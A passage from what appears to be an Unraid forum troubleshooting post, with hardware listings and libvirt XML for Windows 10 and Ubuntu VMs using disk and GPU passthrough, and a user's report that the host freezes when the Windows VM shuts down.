units="bits">32</width> + <clock units="Hz">33000000</clock> + </node> + <node id="scsi:0" claimed="true" class="storage" handle=""> + <physid>1</physid> + <businfo>usb@1:4</businfo> + <logicalname>scsi0</logicalname> + <capabilities> + <capability id="emulated" >Emulated device</capability> + </capabilities> + <node id="disk" claimed="true" class="disk" handle="SCSI:00:00:00:00"> + <description>SCSI Disk</description> + <product>Cruzer Fit</product> + <vendor>SanDisk</vendor> + <physid>0.0.0</physid> + <businfo>scsi@0:0.0.0</businfo> + <logicalname>/dev/sda</logicalname> + <dev>8:0</dev> + <version>1.27</version> + <serial>[REMOVED]</serial> + <size units="bytes">15631122432</size> + <configuration> + <setting id="ansiversion" value="6" /> + <setting id="logicalsectorsize" value="512" /> + <setting id="sectorsize" value="512" /> + </configuration> + <capabilities> + <capability id="removable" >support is removable</capability> + </capabilities> + <node id="medium" claimed="true" class="disk" handle=""> + <physid>0</physid> + <logicalname>/dev/sda</logicalname> + <dev>8:0</dev> + <size units="bytes">15631122432</size> + <capabilities> + <capability id="partitioned" >Partitioned disk</capability> + <capability id="partitioned:dos" >MS-DOS partition table</capability> + </capabilities> + <node id="volume" claimed="true" class="volume" handle=""> + <description>Windows FAT volume</description> + <vendor>SYSLINUX</vendor> + <physid>1</physid> + <logicalname>/dev/sda1</logicalname> + <logicalname>/boot</logicalname> + <dev>8:1</dev> + <version>FAT32</version> + <serial>[REMOVED]</serial> + <size units="bytes">15630329856</size> + <capacity>15631106048</capacity> + <configuration> + <setting id="FATs" value="2" /> + <setting id="filesystem" value="fat" /> + <setting id="label" value="UNRAID" /> + <setting id="mount.fstype" value="vfat" /> + <setting id="mount.options" value="rw,noatime,nodiratime,fmask=0000,dmask=0000,allow_utime=0022,codepage=437,iocharset=iso8859-1,shortname=mixed,errors=remount-ro" /> + <setting id="state" value="mounted" /> + </configuration> + <capabilities> + <capability id="primary" >Primary partition</capability> + <capability id="bootable" >Bootable partition (active)</capability> + <capability id="fat" >Windows FAT</capability> + <capability id="initialized" >initialized volume</capability> + </capabilities> + </node> + </node> + </node> + </node> + <node id="scsi:1" claimed="true" class="storage" handle=""> + <physid>2</physid> + <businfo>usb@2:2.1</businfo> + <logicalname>scsi1</logicalname> + <capabilities> + <capability id="emulated" >Emulated device</capability> + </capabilities> + <node id="disk" claimed="true" class="disk" handle="SCSI:01:00:00:00"> + <description>SCSI Disk</description> + <product>My Book 1140</product> + <vendor>WD</vendor> + <physid>0.0.0</physid> + <businfo>scsi@1:0.0.0</businfo> + <logicalname>/dev/sdb</logicalname> + <dev>8:16</dev> + <version>1003</version> + <serial>[REMOVED]</serial> + <size units="bytes">3000558944256</size> + <configuration> + <setting id="ansiversion" value="6" /> + <setting id="logicalsectorsize" value="4096" /> + <setting id="sectorsize" value="4096" /> + <setting id="signature" value="000246c6" /> + </configuration> + <capabilities> + <capability id="partitioned" >Partitioned disk</capability> + <capability id="partitioned:dos" >MS-DOS partition table</capability> + </capabilities> + <node id="volume" class="volume" handle=""> + <description>HPFS/NTFS partition</description> + <physid>1</physid> + <businfo>scsi@1:0.0.0,1</businfo> + <capacity>375069736960</capacity> + <capabilities> + <capability id="primary" >Primary partition</capability> + </capabilities> + </node> + </node> + <node id="enclosure" class="generic" handle="SCSI:01:00:00:01"> + <description>SCSI Enclosure</description> + <product>SES Device</product> + <vendor>WD</vendor> + <physid>0.0.1</physid> + <businfo>scsi@1:0.0.1</businfo> + <version>1003</version> + <serial>[REMOVED]</serial> + <configuration> + <setting id="ansiversion" value="6" /> + </configuration> + </node> + </node> + <node id="scsi:2" claimed="true" class="storage" handle=""> + <physid>3</physid> + <logicalname>scsi3</logicalname> + <capabilities> + <capability id="emulated" >Emulated device</capability> + </capabilities> + <node id="disk" claimed="true" class="disk" handle="SCSI:03:00:00:00"> + <description>ATA Disk</description> + <product>KINGSTON SV300S3</product> + <physid>0.0.0</physid> + <businfo>scsi@3:0.0.0</businfo> + <logicalname>/dev/sdc</logicalname> + <dev>8:32</dev> + <version>BBF0</version> + <serial>[REMOVED]</serial> + <size units="bytes">240057409536</size> + <configuration> + <setting id="ansiversion" value="5" /> + <setting id="logicalsectorsize" value="512" /> + <setting id="sectorsize" value="512" /> + <setting id="signature" value="0e4ed60d" /> + </configuration> + <capabilities> + <capability id="partitioned" >Partitioned disk</capability> + <capability id="partitioned:dos" >MS-DOS partition table</capability> + </capabilities> + <node id="volume" claimed="true" class="volume" handle=""> + <description>Linux filesystem partition</description> + <physid>1</physid> + <businfo>scsi@3:0.0.0,1</businfo> + <logicalname>/dev/sdc1</logicalname> + <logicalname>/mnt/cache</logicalname> + <dev>8:33</dev> + <capacity>240057376768</capacity> + <configuration> + <setting id="mount.fstype" value="btrfs" /> + <setting id="mount.options" value="rw,noatime,nodiratime,ssd,space_cache,subvolid=5,subvol=/" /> + <setting id="state" value="mounted" /> + </configuration> + <capabilities> + <capability id="primary" >Primary partition</capability> + </capabilities> + </node> + </node> + </node> + <node id="scsi:3" claimed="true" class="storage" handle=""> + <physid>5</physid> + <logicalname>scsi4</logicalname> + <capabilities> + <capability id="emulated" >Emulated device</capability> + </capabilities> + <node id="disk" claimed="true" class="disk" handle="GUID:c82cbad2-4709-4876-a6b0-23fd28f87155"> + <description>ATA Disk</description> + <product>Samsung SSD 850</product> + <physid>0.0.0</physid> + <businfo>scsi@4:0.0.0</businfo> + <logicalname>/dev/sdd</logicalname> + <dev>8:48</dev> + <version>2B6Q</version> + <serial>[REMOVED]</serial> + <size units="bytes">256060514304</size> + <configuration> + <setting id="ansiversion" value="5" /> + <setting id="guid" value="c82cbad2-4709-4876-a6b0-23fd28f87155" /> + <setting id="logicalsectorsize" value="512" /> + <setting id="sectorsize" value="512" /> + </configuration> + <capabilities> + <capability id="gpt-1.00" >GUID Partition Table version 1.00</capability> + <capability id="partitioned" >Partitioned disk</capability> + <capability id="partitioned:gpt" >GUID partition table</capability> + </capabilities> + <node id="volume:0" claimed="true" class="volume" handle="GUID:6321c16c-cde1-4218-a2f9-1408c373b032"> + <description>Windows NTFS volume</description> + <vendor>Windows</vendor> + <physid>1</physid> + <businfo>scsi@4:0.0.0,1</businfo> + <logicalname>/dev/sdd1</logicalname> + <dev>8:49</dev> + <version>3.1</version> + <serial>[REMOVED]</serial> + <size units="bytes">470810112</size> + <capacity>471858688</capacity> + <configuration> + <setting id="clustersize" value="4096" /> + <setting id="created" value="2016-04-28 20:38:52" /> + <setting id="filesystem" value="ntfs" /> + <setting id="label" value="Recovery" /> + <setting id="name" value="Basic data partition" /> + <setting id="state" value="clean" /> + </configuration> + <capabilities> + <capability id="boot" >Contains boot code</capability> + <capability id="ntfs" >Windows NTFS</capability> + <capability id="initialized" >initialized volume</capability> + </capabilities> + </node> + <node id="volume:1" claimed="true" class="volume" handle="GUID:43399c18-fd0b-4776-948f-1793ef9601f6"> + <description>Windows FAT volume</description> + <vendor>MSDOS5.0</vendor> + <physid>2</physid> + <businfo>scsi@4:0.0.0,2</businfo> + <logicalname>/dev/sdd2</logicalname> + <dev>8:50</dev> + <version>FAT32</version> + <serial>[REMOVED]</serial> + <size units="bytes">98305024</size> + <capacity>104857088</capacity> + <configuration> + <setting id="FATs" value="2" /> + <setting id="filesystem" value="fat" /> + <setting id="name" value="EFI system partition" /> + </configuration> + <capabilities> + <capability id="boot" >Contains boot code</capability> + <capability id="fat" >Windows FAT</capability> + <capability id="initialized" >initialized volume</capability> + </capabilities> + </node> + <node id="volume:2" claimed="true" class="volume" handle="GUID:09693b85-b08d-4703-aa46-43b3f142147c"> + <description>reserved partition</description> + <vendor>Windows</vendor> + <physid>3</physid> + <businfo>scsi@4:0.0.0,3</businfo> + <logicalname>/dev/sdd3</logicalname> + <dev>8:51</dev> + <serial>[REMOVED]</serial> + <capacity>16776704</capacity> + <configuration> + <setting id="name" value="Microsoft reserved partition" /> + </configuration> + <capabilities> + <capability id="nofs" >No filesystem</capability> + </capabilities> + </node> + <node id="volume:3" claimed="true" class="volume" handle="GUID:be5940fa-7cde-4df0-b34c-8f83ac141507"> + <description>Windows NTFS volume</description> + <vendor>Windows</vendor> + <physid>4</physid> + <businfo>scsi@4:0.0.0,4</businfo> + <logicalname>/dev/sdd4</logicalname> + <dev>8:52</dev> + <version>3.1</version> + <serial>[REMOVED]</serial> + <size units="bytes">255441833984</size> + <capacity>255465954304</capacity> + <configuration> + <setting id="clustersize" value="4096" /> + <setting id="created" value="2016-04-28 20:39:19" /> + <setting id="filesystem" value="ntfs" /> + <setting id="name" value="Basic data partition" /> + <setting id="state" value="clean" /> + </configuration> + <capabilities> + <capability id="ntfs" >Windows NTFS</capability> + <capability id="initialized" >initialized volume</capability> + </capabilities> + </node> + </node> + </node> + <node id="scsi:4" claimed="true" class="storage" handle=""> + <physid>6</physid> + <logicalname>scsi5</logicalname> + <capabilities> + <capability id="emulated" >Emulated device</capability> + </capabilities> + <node id="disk" claimed="true" class="disk" handle="GUID:f346f840-247e-4b0c-bb5f-aaa6a00d54e6"> + <description>ATA Disk</description> + <product>SanDisk Ultra II</product> + <physid>0.0.0</physid> + <businfo>scsi@5:0.0.0</businfo> + <logicalname>/dev/sde</logicalname> + <dev>8:64</dev> + <version>00RL</version> + <serial>[REMOVED]</serial> + <size units="bytes">480103981056</size> + <configuration> + <setting id="ansiversion" value="5" /> + <setting id="guid" value="f346f840-247e-4b0c-bb5f-aaa6a00d54e6" /> + <setting id="logicalsectorsize" value="512" /> + <setting id="sectorsize" value="512" /> + </configuration> + <capabilities> + <capability id="gpt-1.00" >GUID Partition Table version 1.00</capability> + <capability id="partitioned" >Partitioned disk</capability> + <capability id="partitioned:gpt" >GUID partition table</capability> + </capabilities> + <node id="volume:0" claimed="true" class="volume" handle="GUID:14d077e9-f6f2-4844-b657-0a600f32fa21"> + <description>Windows FAT volume</description> + <vendor>MSWIN4.1</vendor> + <physid>1</physid> + <businfo>scsi@5:0.0.0,1</businfo> + <logicalname>/dev/sde1</logicalname> + <dev>8:65</dev> + <version>FAT32</version> + <serial>[REMOVED]</serial> + <size units="bytes">535802880</size> + <capacity>536870400</capacity> + <configuration> + <setting id="FATs" value="2" /> + <setting id="filesystem" value="fat" /> + </configuration> + <capabilities> + <capability id="boot" >Contains boot code</capability> + <capability id="fat" >Windows FAT</capability> + <capability id="initialized" >initialized volume</capability> + </capabilities> + </node> + <node id="volume:1" claimed="true" class="volume" handle="GUID:bfc11f4a-eaf3-404c-b7e4-16d2f5843084"> + <description>EFI partition</description> + <vendor>Linux</vendor> + <physid>2</physid> + <businfo>scsi@5:0.0.0,2</businfo> + <logicalname>/dev/sde2</logicalname> + <dev>8:66</dev> + <version>1.0</version> + <serial>[REMOVED]</serial> + <size units="bytes">511705088</size> + <configuration> + <setting id="filesystem" value="ext2" /> + <setting id="lastmountpoint" value="/boot" /> + <setting id="modified" value="2016-05-28 18:55:14" /> + <setting id="mounted" value="2016-05-28 18:55:14" /> + <setting id="state" value="unknown" /> + </configuration> + <capabilities> + <capability id="extended_attributes" >Extended Attributes</capability> + <capability id="large_files" >4GB+ files</capability> + <capability id="ext2" >EXT2/EXT3</capability> + <capability id="initialized" >initialized volume</capability> + </capabilities> + </node> + <node id="volume:2" claimed="true" class="volume" handle="GUID:e521cf5c-840f-4cef-8638-232aaec837a9"> + <description>LVM Physical Volume</description> + <vendor>Linux</vendor> + <physid>3</physid> + <businfo>scsi@5:0.0.0,3</businfo> + <logicalname>/dev/sde3</logicalname> + <dev>8:67</dev> + <serial>[REMOVED]</serial> + <size units="bytes">52636418048</size> + <capacity>479053479424</capacity> + <capabilities> + <capability id="multi" >Multi-volumes</capability> + <capability id="lvm2" /> + </capabilities> + </node> + </node> + </node> + <node id="scsi:5" claimed="true" class="storage" handle=""> + <physid>7</physid> + <logicalname>scsi6</logicalname> + <capabilities> + <capability id="emulated" >Emulated device</capability> + </capabilities> + <node id="disk" claimed="true" class="disk" handle="SCSI:06:00:00:00"> + <description>ATA Disk</description> + <product>SanDisk Ultra II</product> + <physid>0.0.0</physid> + <businfo>scsi@6:0.0.0</businfo> + <logicalname>/dev/sdf</logicalname> + <dev>8:80</dev> + <version>00RL</version> + <serial>[REMOVED]</serial> + <size units="bytes">480103981056</size> + <configuration> + <setting id="ansiversion" value="5" /> + <setting id="logicalsectorsize" value="512" /> + <setting id="sectorsize" value="512" /> + <setting id="signature" value="e8573092" /> + </configuration> + <capabilities> + <capability id="partitioned" >Partitioned disk</capability> + <capability id="partitioned:dos" >MS-DOS partition table</capability> + </capabilities> + <node id="volume" claimed="true" class="volume" handle=""> + <description>Windows NTFS volume</description> + <physid>1</physid> + <businfo>scsi@6:0.0.0,1</businfo> + <logicalname>/dev/sdf1</logicalname> + <dev>8:81</dev> + <version>3.1</version> + <serial>[REMOVED]</serial> + <size units="bytes">480101006848</size> + <capacity>480102055936</capacity> + <configuration> + <setting id="clustersize" value="4096" /> + <setting id="created" value="2016-05-28 17:49:55" /> + <setting id="filesystem" value="ntfs" /> + <setting id="label" value="Extra" /> + <setting id="state" value="clean" /> + </configuration> + <capabilities> + <capability id="primary" >Primary partition</capability> + <capability id="ntfs" >Windows NTFS</capability> + <capability id="initialized" >initialized volume</capability> + </capabilities> + </node> + </node> + </node> + </node> + <node id="network:0" claimed="true" class="network" handle=""> + <description>Ethernet interface</description> + <physid>1</physid> + <logicalname>vnet0</logicalname> + <serial>[REMOVED]</serial> + <size units="bit/s">10000000</size> + <configuration> + <setting id="autonegotiation" value="off" /> + <setting id="broadcast" value="yes" /> + <setting id="driver" value="tun" /> + <setting id="driverversion" value="1.6" /> + <setting id="duplex" value="full" /> + <setting id="link" value="yes" /> + <setting id="multicast" value="yes" /> + <setting id="port" value="twisted pair" /> + <setting id="speed" value="10Mbit/s" /> + </configuration> + <capabilities> + <capability id="ethernet" /> + <capability id="physical" >Physical interface</capability> + </capabilities> + </node> + <node id="network:1" disabled="true" claimed="true" class="network" handle=""> + <description>Ethernet interface</description> + <physid>2</physid> + <logicalname>virbr0-nic</logicalname> + <serial>[REMOVED]</serial> + <size units="bit/s">10000000</size> + <configuration> + <setting id="autonegotiation" value="off" /> + <setting id="broadcast" value="yes" /> + <setting id="driver" value="tun" /> + <setting id="driverversion" value="1.6" /> + <setting id="duplex" value="full" /> + <setting id="link" value="no" /> + <setting id="multicast" value="yes" /> + <setting id="port" value="twisted pair" /> + <setting id="speed" value="10Mbit/s" /> + </configuration> + <capabilities> + <capability id="ethernet" /> + <capability id="physical" >Physical interface</capability> + </capabilities> + </node> + <node id="network:2" disabled="true" claimed="true" class="network" handle=""> + <description>Ethernet interface</description> + <physid>3</physid> + <logicalname>gretap0</logicalname> + <configuration> + <setting id="broadcast" value="yes" /> + <setting id="multicast" value="yes" /> + </configuration> + <capabilities> + <capability id="ethernet" /> + <capability id="physical" >Physical interface</capability> + </capabilities> + </node> + <node id="network:3" claimed="true" class="network" handle=""> + <description>Ethernet interface</description> + <physid>4</physid> + <logicalname>docker0</logicalname> + <serial>[REMOVED]</serial> + <configuration> + <setting id="broadcast" value="yes" /> + <setting id="driver" value="bridge" /> + <setting id="driverversion" value="2.3" /> + <setting id="firmware" value="N/A" /> + <setting id="ip" value="[REMOVED]" /> + <setting id="link" value="yes" /> + <setting id="multicast" value="yes" /> + </configuration> + <capabilities> + <capability id="ethernet" /> + <capability id="physical" >Physical interface</capability> + </capabilities> + </node> + <node id="network:4" claimed="true" class="network" handle=""> + <description>Ethernet interface</description> + <physid>5</physid> + <logicalname>bond0</logicalname> + <serial>[REMOVED]</serial> + <size units="bit/s">100000000</size> + <configuration> + <setting id="autonegotiation" value="off" /> + <setting id="broadcast" value="yes" /> + <setting id="driver" value="bonding" /> + <setting id="driverversion" value="3.7.1" /> + <setting id="duplex" value="full" /> + <setting id="firmware" value="2" /> + <setting id="link" value="yes" /> + <setting id="master" value="yes" /> + <setting id="multicast" value="yes" /> + <setting id="promiscuous" value="yes" /> + <setting id="speed" value="100Mbit/s" /> + </configuration> + <capabilities> + <capability id="ethernet" /> + <capability id="physical" >Physical interface</capability> + </capabilities> + </node> + <node id="network:5" claimed="true" class="network" handle=""> + <description>Ethernet interface</description> + <physid>6</physid> + <logicalname>br0</logicalname> + <serial>[REMOVED]</serial> + <configuration> + <setting id="broadcast" value="yes" /> + <setting id="driver" value="bridge" /> + <setting id="driverversion" value="2.3" /> + <setting id="firmware" value="N/A" /> + <setting id="ip" value="[REMOVED]" /> + <setting id="link" value="yes" /> + <setting id="multicast" value="yes" /> + </configuration> + <capabilities> + <capability id="ethernet" /> + <capability id="physical" >Physical interface</capability> + </capabilities> + </node> + <node id="network:6" claimed="true" class="network" handle=""> + <description>Ethernet interface</description> + <physid>7</physid> + <logicalname>virbr0</logicalname> + <serial>[REMOVED]</serial> + <configuration> + <setting id="broadcast" value="yes" /> + <setting id="driver" value="bridge" /> + <setting id="driverversion" value="2.3" /> + <setting id="firmware" value="N/A" /> + <setting id="ip" value="[REMOVED]" /> + <setting id="link" value="no" /> + <setting id="multicast" value="yes" /> + </configuration> + <capabilities> + <capability id="ethernet" /> + <capability id="physical" >Physical interface</capability> + </capabilities> + </node> + <node id="network:7" claimed="true" class="network" handle=""> + <description>Ethernet interface</description> + <physid>8</physid> + <logicalname>vnet1</logicalname> + <serial>[REMOVED]</serial> + <size units="bit/s">10000000</size> + <configuration> + <setting id="autonegotiation" value="off" /> + <setting id="broadcast" value="yes" /> + <setting id="driver" value="tun" /> + <setting id="driverversion" value="1.6" /> + <setting id="duplex" value="full" /> + <setting id="link" value="yes" /> + <setting id="multicast" value="yes" /> + <setting id="port" value="twisted pair" /> + <setting id="speed" value="10Mbit/s" /> + </configuration> + <capabilities> + <capability id="ethernet" /> + <capability id="physical" >Physical interface</capability> + </capabilities> + </node> + <node id="network:8" claimed="true" class="network" handle=""> + <description>Ethernet interface</description> + <physid>9</physid> + <logicalname>veth5321ae1</logicalname> + <serial>[REMOVED]</serial> + <size units="bit/s">10000000000</size> + <configuration> + <setting id="autonegotiation" value="off" /> + <setting id="broadcast" value="yes" /> + <setting id="driver" value="veth" /> + <setting id="driverversion" value="1.0" /> + <setting id="duplex" value="full" /> + <setting id="link" value="yes" /> + <setting id="multicast" value="yes" /> + <setting id="port" value="twisted pair" /> + <setting id="speed" value="10Gbit/s" /> + </configuration> + <capabilities> + <capability id="ethernet" /> + <capability id="physical" >Physical interface</capability> + </capabilities> + </node> +</node> +</list> + + + + + +I have 2 running virtual machines. + +1. Ubuntu Server 16.04 acting as a headless game server +2. Windows 10 Pro used for gaming and other daily activities + +I too can start/stop the Win 10 vm for a period of time after a cold boot but if it is logged in for a certain period of time, when I go to shut it down the entire system will freeze. I can reboot the Ubuntu server at will. It too has a SSD being passed thru. + +Win 10 VM +<domain type='kvm' id='3'> + <name>csmccarronwx00</name> + <uuid>82c5e4f6-6991-cd5f-8207-49db04386cc9</uuid> + <description>csmccarronwx00 i440fx-2.5 OVMF</description> + <metadata> + <vmtemplate xmlns="unraid" name="Windows 10" icon="windows.png" os="windows10"/> + </metadata> + <memory unit='KiB'>11010048</memory> + <currentMemory unit='KiB'>11010048</currentMemory> + <memoryBacking> + <nosharepages/> + <locked/> + </memoryBacking> + <vcpu placement='static'>12</vcpu> + <cputune> + <vcpupin vcpu='0' cpuset='6'/> + <vcpupin vcpu='1' cpuset='18'/> + <vcpupin vcpu='2' cpuset='7'/> + <vcpupin vcpu='3' cpuset='19'/> + <vcpupin vcpu='4' cpuset='8'/> + <vcpupin vcpu='5' cpuset='20'/> + <vcpupin vcpu='6' cpuset='9'/> + <vcpupin vcpu='7' cpuset='21'/> + <vcpupin vcpu='8' cpuset='10'/> + <vcpupin vcpu='9' cpuset='22'/> + <vcpupin vcpu='10' cpuset='11'/> + <vcpupin vcpu='11' cpuset='23'/> + <emulatorpin cpuset='1-3,13-15'/> + </cputune> + <resource> + <partition>/machine</partition> + </resource> + <os> + <type arch='x86_64' machine='pc-i440fx-2.5'>hvm</type> + <loader readonly='yes' type='pflash'>/usr/share/qemu/ovmf-x64/OVMF_CODE-pure-efi.fd</loader> + <nvram>/etc/libvirt/qemu/nvram/82c5e4f6-6991-cd5f-8207-49db04386cc9_VARS-pure-efi.fd</nvram> + <boot dev='cdrom'/> + <boot dev='hd'/> + <bootmenu enable='yes' timeout='3000'/> + </os> + <features> + <acpi/> + <apic/> + </features> + <cpu mode='host-passthrough'> + <topology sockets='1' cores='6' threads='2'/> + </cpu> + <clock offset='localtime'> + <timer name='rtc' tickpolicy='catchup'/> + <timer name='pit' tickpolicy='delay'/> + <timer name='hpet' present='no'/> + </clock> + <on_poweroff>destroy</on_poweroff> + <on_reboot>restart</on_reboot> + <on_crash>restart</on_crash> + <devices> + <emulator>/usr/local/sbin/qemu</emulator> + <disk type='file' device='cdrom'> + <driver name='qemu' type='raw'/> + <source file='/mnt/user/ISO/virtio-win-0.1.117.iso'/> + <backingStore/> + <target dev='hda' bus='sata'/> + <readonly/> + <alias name='sata0-0-0'/> + <address type='drive' controller='0' bus='0' target='0' unit='0'/> + </disk> + <disk type='file' device='cdrom'> + <driver name='qemu' type='raw'/> + <source file='/mnt/user/ISO/Windows10Pro_TH2.iso'/> + <backingStore/> + <target dev='hdb' bus='sata'/> + <readonly/> + <alias name='sata0-0-1'/> + <address type='drive' controller='0' bus='0' target='0' unit='1'/> + </disk> + <disk type='block' device='disk'> + <driver name='qemu' type='raw' cache='writeback'/> + <source dev='/dev/disk/by-id/ata-Samsung_SSD_850_PRO_256GB_S1SUNSAG361503D'/> + <backingStore/> + <target dev='hdc' bus='virtio'/> + <alias name='virtio-disk2'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x0a' function='0x0'/> + </disk> + <disk type='block' device='disk'> + <driver name='qemu' type='raw' cache='writeback'/> + <source dev='/dev/disk/by-id/ata-SanDisk_Ultra_II_480GB_161322801967'/> + <backingStore/> + <target dev='hdd' bus='virtio'/> + <alias name='virtio-disk3'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x0b' function='0x0'/> + </disk> + <controller type='usb' index='0' model='ich9-ehci1'> + <alias name='usb'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x07' function='0x7'/> + </controller> + <controller type='usb' index='0' model='ich9-uhci1'> + <alias name='usb'/> + <master startport='0'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x07' function='0x0' multifunction='on'/> + </controller> + <controller type='usb' index='0' model='ich9-uhci2'> + <alias name='usb'/> + <master startport='2'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x07' function='0x1'/> + </controller> + <controller type='usb' index='0' model='ich9-uhci3'> + <alias name='usb'/> + <master startport='4'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x07' function='0x2'/> + </controller> + <controller type='pci' index='0' model='pci-root'> + <alias name='pci.0'/> + </controller> + <controller type='sata' index='0'> + <alias name='sata0'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x03' function='0x0'/> + </controller> + <controller type='virtio-serial' index='0'> + <alias name='virtio-serial0'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x04' function='0x0'/> + </controller> + <interface type='bridge'> + <mac address='52:54:00:86:5a:91'/> + <source bridge='br0'/> + <target dev='vnet0'/> + <model type='virtio'/> + <alias name='net0'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x02' function='0x0'/> + </interface> + <serial type='pty'> + <source path='/dev/pts/2'/> + <target port='0'/> + <alias name='serial0'/> + </serial> + <console type='pty' tty='/dev/pts/2'> + <source path='/dev/pts/2'/> + <target type='serial' port='0'/> + <alias name='serial0'/> + </console> + <channel type='unix'> + <source mode='bind' path='/var/lib/libvirt/qemu/channel/target/domain-csmccarronwx00/org.qemu.guest_agent.0'/> + <target type='virtio' name='org.qemu.guest_agent.0' state='disconnected'/> + <alias name='channel0'/> + <address type='virtio-serial' controller='0' bus='0' port='1'/> + </channel> + <hostdev mode='subsystem' type='pci' managed='yes'> + <driver name='vfio'/> + <source> + <address domain='0x0000' bus='0x0a' slot='0x00' function='0x0'/> + </source> + <alias name='hostdev0'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x05' function='0x0'/> + </hostdev> + <hostdev mode='subsystem' type='pci' managed='yes'> + <driver name='vfio'/> + <source> + <address domain='0x0000' bus='0x0a' slot='0x00' function='0x1'/> + </source> + <alias name='hostdev1'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x06' function='0x0'/> + </hostdev> + <hostdev mode='subsystem' type='pci' managed='yes'> + <driver name='vfio'/> + <source> + <address domain='0x0000' bus='0x0c' slot='0x00' function='0x0'/> + </source> + <alias name='hostdev2'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x08' function='0x0'/> + </hostdev> + <memballoon model='virtio'> + <alias name='balloon0'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x09' function='0x0'/> + </memballoon> + </devices> +</domain> + +Ubuntu Server VM +<domain type='kvm' id='2'> + <name>Ubuntu Server</name> + <uuid>232de5eb-2276-0762-2e29-29dc917ef34d</uuid> + <description>Ubuntu Server Q35 OVMF</description> + <metadata> + <vmtemplate xmlns="unraid" name="Ubuntu" icon="ubuntu.png" os="ubuntu"/> + </metadata> + <memory unit='KiB'>11010048</memory> + <currentMemory unit='KiB'>11010048</currentMemory> + <memoryBacking> + <nosharepages/> + </memoryBacking> + <vcpu placement='static'>4</vcpu> + <cputune> + <vcpupin vcpu='0' cpuset='4'/> + <vcpupin vcpu='1' cpuset='16'/> + <vcpupin vcpu='2' cpuset='5'/> + <vcpupin vcpu='3' cpuset='17'/> + <emulatorpin cpuset='1-3,13-15'/> + </cputune> + <resource> + <partition>/machine</partition> + </resource> + <os> + <type arch='x86_64' machine='pc-q35-2.5'>hvm</type> + <loader readonly='yes' type='pflash'>/usr/share/qemu/ovmf-x64/OVMF_CODE-pure-efi.fd</loader> + <nvram>/etc/libvirt/qemu/nvram/232de5eb-2276-0762-2e29-29dc917ef34d_VARS-pure-efi.fd</nvram> + </os> + <features> + <acpi/> + <apic/> + </features> + <cpu mode='host-passthrough'> + <topology sockets='1' cores='2' threads='2'/> + </cpu> + <clock offset='utc'> + <timer name='rtc' tickpolicy='catchup'/> + <timer name='pit' tickpolicy='delay'/> + <timer name='hpet' present='no'/> + </clock> + <on_poweroff>destroy</on_poweroff> + <on_reboot>restart</on_reboot> + <on_crash>restart</on_crash> + <devices> + <emulator>/usr/local/sbin/qemu</emulator> + <disk type='file' device='cdrom'> + <driver name='qemu' type='raw'/> + <source file='/mnt/user/ISO/gparted-live-0.25.0-3-i686.iso'/> + <backingStore/> + <target dev='hda' bus='sata'/> + <readonly/> + <boot order='2'/> + <alias name='sata0-0-0'/> + <address type='drive' controller='0' bus='0' target='0' unit='0'/> + </disk> + <disk type='block' device='disk'> + <driver name='qemu' type='raw' cache='writeback'/> + <source dev='/dev/disk/by-id/ata-SanDisk_Ultra_II_480GB_161002808956'/> + <backingStore/> + <target dev='hdd' bus='virtio'/> + <boot order='1'/> + <alias name='virtio-disk3'/> + <address type='pci' domain='0x0000' bus='0x02' slot='0x04' function='0x0'/> + </disk> + <controller type='usb' index='0' model='ich9-ehci1'> + <alias name='usb'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x07' function='0x7'/> + </controller> + <controller type='usb' index='0' model='ich9-uhci1'> + <alias name='usb'/> + <master startport='0'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x07' function='0x0' multifunction='on'/> + </controller> + <controller type='usb' index='0' model='ich9-uhci2'> + <alias name='usb'/> + <master startport='2'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x07' function='0x1'/> + </controller> + <controller type='usb' index='0' model='ich9-uhci3'> + <alias name='usb'/> + <master startport='4'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x07' function='0x2'/> + </controller> + <controller type='sata' index='0'> + <alias name='ide'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x1f' function='0x2'/> + </controller> + <controller type='pci' index='0' model='pcie-root'> + <alias name='pcie.0'/> + </controller> + <controller type='pci' index='1' model='dmi-to-pci-bridge'> + <model name='i82801b11-bridge'/> + <alias name='pci.1'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x1e' function='0x0'/> + </controller> + <controller type='pci' index='2' model='pci-bridge'> + <model name='pci-bridge'/> + <target chassisNr='2'/> + <alias name='pci.2'/> + <address type='pci' domain='0x0000' bus='0x01' slot='0x01' function='0x0'/> + </controller> + <controller type='virtio-serial' index='0'> + <alias name='virtio-serial0'/> + <address type='pci' domain='0x0000' bus='0x02' slot='0x03' function='0x0'/> + </controller> + <filesystem type='mount' accessmode='passthrough'> + <source dir='/mnt/user/Apps/'/> + <target dir='Apps'/> + <alias name='fs0'/> + <address type='pci' domain='0x0000' bus='0x02' slot='0x01' function='0x0'/> + </filesystem> + <interface type='bridge'> + <mac address='52:54:00:2b:b9:e2'/> + <source bridge='br0'/> + <target dev='vnet1'/> + <model type='virtio'/> + <alias name='net0'/> + <address type='pci' domain='0x0000' bus='0x02' slot='0x02' function='0x0'/> + </interface> + <serial type='pty'> + <source path='/dev/pts/1'/> + <target port='0'/> + <alias name='serial0'/> + </serial> + <console type='pty' tty='/dev/pts/1'> + <source path='/dev/pts/1'/> + <target type='serial' port='0'/> + <alias name='serial0'/> + </console> + <channel type='unix'> + <source mode='bind' path='/var/lib/libvirt/qemu/channel/target/domain-Ubuntu Server/org.qemu.guest_agent.0'/> + <target type='virtio' name='org.qemu.guest_agent.0' state='disconnected'/> + <alias name='channel0'/> + <address type='virtio-serial' controller='0' bus='0' port='1'/> + </channel> + <input type='tablet' bus='usb'> + <alias name='input0'/> + </input> + <input type='mouse' bus='ps2'/> + <input type='keyboard' bus='ps2'/> + <graphics type='vnc' port='5900' autoport='yes' websocket='5700' 